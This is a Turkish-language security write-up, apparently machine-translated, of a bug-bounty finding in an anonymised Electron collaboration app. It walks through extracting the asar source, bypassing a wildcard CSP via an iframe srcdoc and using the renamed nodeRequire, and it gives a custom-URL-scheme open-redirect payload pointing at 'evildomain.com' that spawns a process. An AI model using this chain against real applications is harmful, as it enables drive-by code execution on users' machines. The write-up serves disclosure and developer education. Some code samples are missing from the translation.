İyisiyle kötüsüyle Node.js, geliştiricilerin popülerlik tablolarını hızla yükseltti. React, React Native ve Electron gibi çerçeveler sayesinde geliştiriciler mobil ve yerel platformlar için kolaylıkla istemciler oluşturabilir. Bu istemciler, tek bir JavaScript dosyasının etrafındaki ince sarmalayıcılar halinde sunulur.
Her modern kolaylıkta olduğu gibi bunda da ödünler var. İşin güvenlik tarafında, yönlendirme ve şablonlama mantığını istemci tarafına taşımak, saldırganların kullanılmayan API uç noktalarını, gizlenmemiş sırları ve daha fazlasını keşfetmesini kolaylaştırır. Webpacked React uygulamalarını orijinal kaynak kodlarına ayrıştıran, yazdığım bir araç olan Webpack Exploder’a göz atın.
Yerel masaüstü uygulamaları için, Electron uygulamalarının derlemesi ve hata ayıklaması daha da kolaydır. Saldırganlar, Ghidra/Radare2/Ida ve tonlarca montaj kodu arasında gezinmek yerine, Electron’un yerleşik Chromium DevTools’unu kullanabilir. Bu arada, Electron’un belgeleri, uygulamaların basit bir tek satırlık paketten açılabilen katran benzeri bir format olan asar arşivlerine paketlenmesini öneriyor.
Saldırganlar, kaynak kodu kullanarak istemci tarafındaki güvenlik açıklarını arayabilir ve bunları kod yürütmeye aktarabilir. Sıra dışı arabellek taşmalarına gerek yok — Electron’s nodeIntegration
ayarı, uygulamaları hesaplamayı başlatmaktan bir XSS uzakta tutar.
Uygulamaları test etmede beyaz kutu yaklaşımını seviyorum. Ne aradığınızı biliyorsanız, zayıf noktaları yakınlaştırabilir ve istismarınızı koddan geçerken takip edebilirsiniz.
Bu blog yazısı, bir hata ödül programındaki isimsiz bir Electron uygulamasına ilişkin beyaz kutu incelememi ele alacak. Bazı hata ayıklamaların yardımıyla açık yönlendirmeyi uzaktan kod yürütmeye nasıl yükselttiğimi göstereceğim. Kod örnekleri değiştirildi ve anonimleştirildi.
Yolculuğum bir gün Jasmin’in tweet’ini fark ettiğimde ve kendime biraz Electron hackleme yapmak için ilham aldığımda başladı. Uygulamayı MacOS’a yükleyerek başladım, ardından kaynak kodunu aldım:
- Şuraya göz at:
Application
dosya. - Uygulamaya sağ tıklayın ve seçin
Show Package Contents
. - Girin
Contents
içeren bir dizinapp.asar
dosya. - Koşmak
npx asar extract app.asar source
(Düğüm kurulmalıdır). - Yeniden derlenmiş kaynak kodunu yeni sayfada görüntüleyin
source
dizin!
Savunmasız Yapılandırmayı Keşfetmek
İçine bakmak package.json
yapılandırmayı buldum "main": "app/index.js"
bana asıl sürecin şu andan itibaren başlatıldığını söyledi: index.js
dosya. Hızlı bir kontrol index.js
bunu doğruladı nodeIntegration
olarak ayarlandı true
çoğu için BrowserWindow
örnekler. Bu, saldırgan tarafından kontrol edilen JavaScript’i kolayca yerel kod yürütmeye yükseltebileceğim anlamına geliyordu. Ne zaman nodeIntegration
öyle true
penceredeki JavaScript, aşağıdaki gibi yerel Node.js işlevlerine erişebilir: require
ve böylece tehlikeli modülleri içe aktarın child_process
. Bu, klasik Elektron hesaplama yüküne yol açar require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
.
XSS’yi deneme
Şimdi tek yapmam gereken bir XSS vektörü bulmaktı. Uygulama, platformlar arası bir işbirliği aracıydı (Slack veya Zoom’u düşünün), dolayısıyla kısa mesajlar veya paylaşılan yüklemeler gibi çok sayıda girdi vardı. Uygulamayı kaynak kodundan başlattım electron . --proxy-server=127.0.0.1:8080
Burp Suite aracılığıyla web trafiğini proxy olarak kullanıyor.
Aşağıdaki gibi HTML verilerini test etmeye başladım: pwned
girişlerin her birinde. Çok geçmeden ilkini aldım zaptedilmiş! Bu umut verici bir işaretti. Ancak standart XSS verileri aşağıdaki gibi veya
basitçe yürütülemedi. Hata ayıklamaya başlamam gerekiyordu.
CSP’yi atlamak
Varsayılan olarak Electron uygulamalarında DevTools’a klavye kısayoluyla erişebilirsiniz. Ctrl+Shift+I
veya F12
anahtar. Anahtarları ezdim ama hiçbir şey olmadı. Uygulamanın varsayılan klavye kısayollarını kaldırdığı ortaya çıktı. Bu gizemi çözmek için aradım globalShortcut
(Electron’ın klavye kısayol modülü) kaynak kodunda. Bir sonuç ortaya çıktı:
electron.globalShortcut.register('CommandOrControl+H', () => {
activateDevMenu();
});
Aha! Uygulamanın gizli bir menüyü açmak için kendi özel klavye kısayolu vardı. girdim CMD+H
ve bir Developer
menü çubuğunda menü belirdi. Gibi bir dizi ilginç öğe içeriyordu. Update
Ve Callback
ama en önemlisi vardı DevTools
! DevTools’u açtım ve XSS verilerimi test etmeye devam ettim. Kısa sürede neden başarısız oldukları anlaşıldı; DevTools konsolunda İçerik Güvenliği Politikası (CSP) ihlalinden şikayet eden bir hata mesajı belirdi. Uygulamanın kendisi aşağıdaki CSP’yi içeren bir URL yüklüyordu:
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com
CSP kapsam dışı bıraktı unsafe-inline
politika, olay işleyicilerini engelliyor svg
yük. Ayrıca, yüklerim JavaScript kullanılarak sayfaya dinamik olarak enjekte edildiğinden, tipik olarak etiketler yürütülemedi. Neyse ki CSP’nin ölümcül bir hatası vardı: joker karakterli URL’lere izin verdi. Özellikle,
https://*.s3.amazonaws.com
politika kendi S3 grubumdaki komut dosyalarını eklememe izin verdi! Bir komut dosyası etiketini dinamik olarak enjekte etmek ve yürütmek için, Intigriti’nin Paskalya XSS mücadelesinden öğrendiğim bir numarayı kullandım. iframe
‘S srcdoc
bağlanmak:
(Kaynak URL’yi anonimleştirdim.)
Bununla birlikte sevimli uyarı kutumu aldım! Adrenalin pompalama, değiştirdim evilscript.js
ile window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
XSS yükünü yeniden gönderdi ve… hiçbir şey olmadı.
Daha derine inmemiz gerekiyor.
Odası Require
söz
DevTools konsoluna döndüğümde aşağıdaki hatayı fark ettim: Uncaught TypeError: window.require is not a function
. Bu kafa karıştırıcıydı çünkü nodeIntegration
şu şekilde ayarlandı: true
Node.js gibi işlevler require
dahil edilmelidir window
. Kaynak koduna geri dönersek, güvenlik açığını oluştururken bu kod satırlarını fark ettim. BrowserWindow
:
const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true,
preload: path.join(__dirname, 'preload.js')
},
});
içine bakmak preload.js
:
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;
Aha! Uygulama yeniden adlandırılıyor/siliniyordu require
ön yükleme sırasında. Bu, gizlilik yoluyla bir güvenlik girişimi değildi; AngularJS gibi üçüncü taraf JavaScript kitaplıklarının çalışmasını sağlamak için Electron belgelerindeki standart koddur! Daha önce de belirttiğim gibi, güvenli olmayan yapılandırma, savunmasız uygulamalar arasında tutarlı bir temadır. Açarak nodeIntegration
ve yeniden tanıtıyorum require
pencereye girdiğinizde kod yürütme önemli bir olasılık haline gelir.
Bir ince ayar daha ile (kullanarak window.parent.nodeRequire
XSS’mi bir iframe’den yürüttüğümden beri), yeni yükümü gönderdim ve hesaplamamı aldım!
Drive-By Kodu Yürütme
Native uygulamaya bakmadan önce web uygulamasında sayfada açık bir yönlendirme buldum https://collabapplication.com/redirect.jsp?next=//evil.com
. Ancak triager benden ek etki göstermemi istedi. Yerel uygulamanın bir özelliği de tarayıcıdaki bir web bağlantısından yeni bir pencere açabilmesiydi.
Slack ve Zoom gibi uygulamaları düşünün. Zoom.us gibi bir sitedeki bir bağlantıyı nasıl açabileceğinizi ve Zoom uygulamanızı açmanızın isteneceğini hiç merak ettiniz mi?
Bunun nedeni, bu web sitelerinin yerel uygulama tarafından kaydedilen özel URL şemalarını açmaya çalışmasıdır. Örneğin Zoom şunları kaydeder: zoommtg
böylece Zoom yüklüyse ve tarayıcınızda zoommtg://zoom.us/start?confno=123456789&pwd=xxxx’i açmayı denerseniz (deneyin!), sizden bu URL’yi açmanız istenecektir. yerli uygulama. Daha az güvenli olan bazı tarayıcılarda, hiçbir şekilde uyarılmayacaksınız bile!
Güvenlik açığı bulunan uygulamanın benzer bir işleve sahip olduğunu fark ettim. Web sitesindeki bir sayfayı ziyaret edersem yerel uygulamada bir işbirliği odası açılıyor. Kodu araştırırken şu işleyiciyi buldum:
function isWhitelistedDomain(url) {
var allowed = ['collabapplication.com'];
var test = extractDomain(url); if( allowed.indexOf(test) > -1 ) {
return true;
} return false;
};let launchURL = parseLaunchURL(fullURL);if isWhitelistedDomain(launchURL) {
appWindow.loadURL(launchURL);
} else {
appWindow.loadURL(homeURL);
}
Hadi bunu parçalayalım. Yerel uygulama özel bir URL şemasından başlatıldığında (bu durumda, collabapp://collabapplication.com?meetingno=123&pwd=abc
), bu URL başlatma işleyicisine aktarılır. Başlatma işleyicisi URL’yi çıkardıktan sonra collabapp://
çıkarılan URL’deki alan adının collabapplication.com
ve kontrolü geçerse URL’yi uygulama penceresine yükler.
Beyaz liste kontrol kodunun kendisi doğru olsa da güvenlik mekanizması inanılmaz derecede kırılgandır. Tek bir açık yönlendirme olduğu sürece collabapplication.com
yerel uygulamayı, uygulama penceresine rastgele bir URL yüklemeye zorlayabilirsiniz. Bunu şununla birleştirin: nodeIntegration
güvenlik açığı ve ihtiyacınız olan tek şey, sizi çağıran şeytani bir sayfaya yönlendirmek. window.parent.nodeRequire(...)
kod yürütmeyi almak için!
Son yüküm şu şekildeydi: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html
. Açık evil.html
sadece koştum window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
.
Artık kurban kullanıcı kötü özel URL şemasını yükleyen herhangi bir web sayfasını ziyaret ederse hesap makinesi açılır! Tarayıcının sıfır günleri olmadan kod yürütme.
COVID-19 salgınının ardından yeni uygulamalar geliştikçe, geliştiriciler yıkıcı güvenlik açıklarına yol açabilecek kısayollar kullanma eğiliminde olabilir. Bu güvenlik açıkları, geliştirme döngüsünün başındaki hatalardan kaynaklandığından hızlı bir şekilde düzeltilemez.
Tekrar düşünün nodeIntegration
Ve preload
Savunmasız uygulamayla ilgili sorunlar: Bu mimari ve yapılandırma sorunları düzeltilmediği sürece uygulama her zaman kırılgan ve savunmasız kalacaktır. Bir XSS’ye yama yapsalar veya yönlendirmeyi açsalar bile, bu hataların herhangi bir yeni örneği kodun yürütülmesine yol açacaktır. Aynı zamanda dönerek nodeIntegration
off tüm uygulamayı bozar. Bu noktadan sonra yeniden yazılması gerekiyor.
Electron gibi Node.js çerçeveleri, geliştiricilerin aşina oldukları dilleri ve araçları kullanarak hızla yerel uygulamalar oluşturmasına olanak tanır. Ancak kullanıcı alanı çok farklı bir tehdit ortamıdır; haşhaş alert
tarayıcınızda pop-up’tan çok farklı calc
başvurunuzda. Geliştiriciler ve kullanıcılar dikkatli davranmalıdır.